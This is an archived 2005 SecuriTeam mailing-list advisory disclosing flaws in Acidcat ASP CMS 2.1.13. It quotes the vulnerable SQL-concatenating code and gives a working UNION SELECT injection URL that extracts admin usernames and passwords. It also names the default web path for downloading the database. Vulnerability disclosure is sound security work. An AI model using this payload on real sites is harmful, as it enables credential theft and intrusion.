

# [UNIX] Acidcat ASP CMS Multiple Vulnerabilities

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00057.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 19 Dec 2005 18:51:18 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Acidcat ASP CMS Multiple Vulnerabilities

---

## SUMMARY

<<http://www.acidcat.com>> Acidcat CMS is "a web site and simple content management system that can be administered via a web browser". Multiple security vulnerabilities have been discovered in Acidcat ASP allowing remote attackers to bypass the authentication mechanism by exploiting an SQL injection, and to download the product's database by requesting its download.

## DETAILS

Vulnerable Systems:

- \* Acidcat CMS version 2.1.13

The following URL can be used to trigger an SQL injection vulnerability in the main\_content.asp page:

<http://localhost/acidcat/default.asp?ID=1'>

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator)  
in query expression 'ID = 1''.  
/main\_content.asp, line 16

## [UNIX] Acidcat ASP CMS Multiple Vulnerabilities

### Vulnerable Code:

The following lines in main\_content.asp:

```
Item.Source = "SELECT * FROM Item WHERE ID = "+  
Item__MMColParam.replace("/g, """) + "";
```

### Exploit:

The following URL will illustrate how you can easily find administrator username and password by entering the following URL:

<http://localhost/acidcat/default.asp?ID=26> union select  
1,username,3,password,5,6 from Configuration

The path of the login page is:

[http://localhost/acidcat/main\\_login.asp](http://localhost/acidcat/main_login.asp)

### Database Download:

The database can be downloaded over the web (default installation). It can be found under: <http://localhost/acidcat/databases/acidcat.mdb>

## ADDITIONAL INFORMATION

The information has been provided by <<mailto:admin@xxxxxxxx>> Hamid Ebadi (Hamid Network Security Team).

The original article can be found at:

<<http://hamid.ir/security/acidcat.txt>>

<http://hamid.ir/security/acidcat.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- Prev by Date: [\[UNIX\] Cerberus Helpdesk Vulnerabilities](#)
  - Next by Date: [\[NEWS\] Authenticated EIGRP DoS and Information Disclosure](#)

## [UNIX] Acidcat ASP CMS Multiple Vulnerabilities

- Previous by thread: [\*\[UNIX\] Cerberus Helpdesk Vulnerabilities\*](#)
- Next by thread: [\*\[NEWS\] Authenticated EIGRP DoS and Information Disclosure\*](#)
- Index(es):
  - ◆ [\*Date\*](#)
  - ◆ [\*Thread\*](#)